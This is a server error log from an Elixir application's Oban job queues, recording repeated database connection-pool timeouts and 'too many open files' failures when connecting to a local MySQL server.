State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:56:03.240780Z], limit: 20, uuid: "17527509-a26c-4dda-bed6-31804066166b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:56:03.240786Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.37243>, refresh_timer: #Reference<0.2525715032.1099431938.37233>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:56:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1069ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:56:03.239493Z], limit: 50, uuid: "8ef19873-44ad-46b4-83d5-179dca43a30b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:56:03.239500Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.145688>, refresh_timer: #Reference<0.2525715032.1121189889.145662>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:56:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 872ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:56:03.240037Z], limit: 10, uuid: "b47f1c74-b4b5-461a-aff4-2798b6f8abb5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:56:03.240058Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.145687>, refresh_timer: #Reference<0.2525715032.1121189889.145673>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:56:15.395000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:56:16.802000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:56:18.218000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:56:21.434000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:56:22.182000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:56:24.710000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=5.0ms idle=1246.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 23:56:24.808000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:56:26.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1028ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:56:15.239094Z], limit: 50, uuid: "65a30df5-babc-4090-950e-4cd0525eab6f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:56:15.239099Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.11609>, refresh_timer: #Reference<0.2525715032.1068498948.39702>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:56:26.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1032ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:56:15.239705Z], limit: 10, uuid: "add4ec50-9bea-4e56-9724-4e745b3a1596", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:56:15.239710Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.11612>, refresh_timer: #Reference<0.2525715032.1099431938.37293>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:56:26.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1075ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:56:15.238306Z], limit: 5, uuid: "679bfa70-291d-4792-b319-3aa05228ba9d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:56:15.238311Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.11608>, refresh_timer: #Reference<0.2525715032.1068498948.39680>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:56:26.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 849ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:56:15.239587Z], limit: 20, uuid: "96aff896-0a92-413e-ba27-a90533f131bc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:56:15.239593Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.11611>, refresh_timer: #Reference<0.2525715032.1099431938.37289>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:56:26.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 846ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:56:15.238151Z], limit: 5, uuid: "c99d3622-cb05-40b2-9dca-905cf2078724", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:56:15.238158Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.11607>, refresh_timer: #Reference<0.2525715032.1068498948.39679>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:56:26.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1000ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:56:15.238564Z], limit: 3, uuid: "b11757cd-a73e-45d2-9882-1131764b6276", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:56:15.238569Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.11610>, refresh_timer: #Reference<0.2525715032.1068498948.39691>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:56:27.626000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:56:30.226000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:56:31.760000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:56:33.278000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:56:38.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1035ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
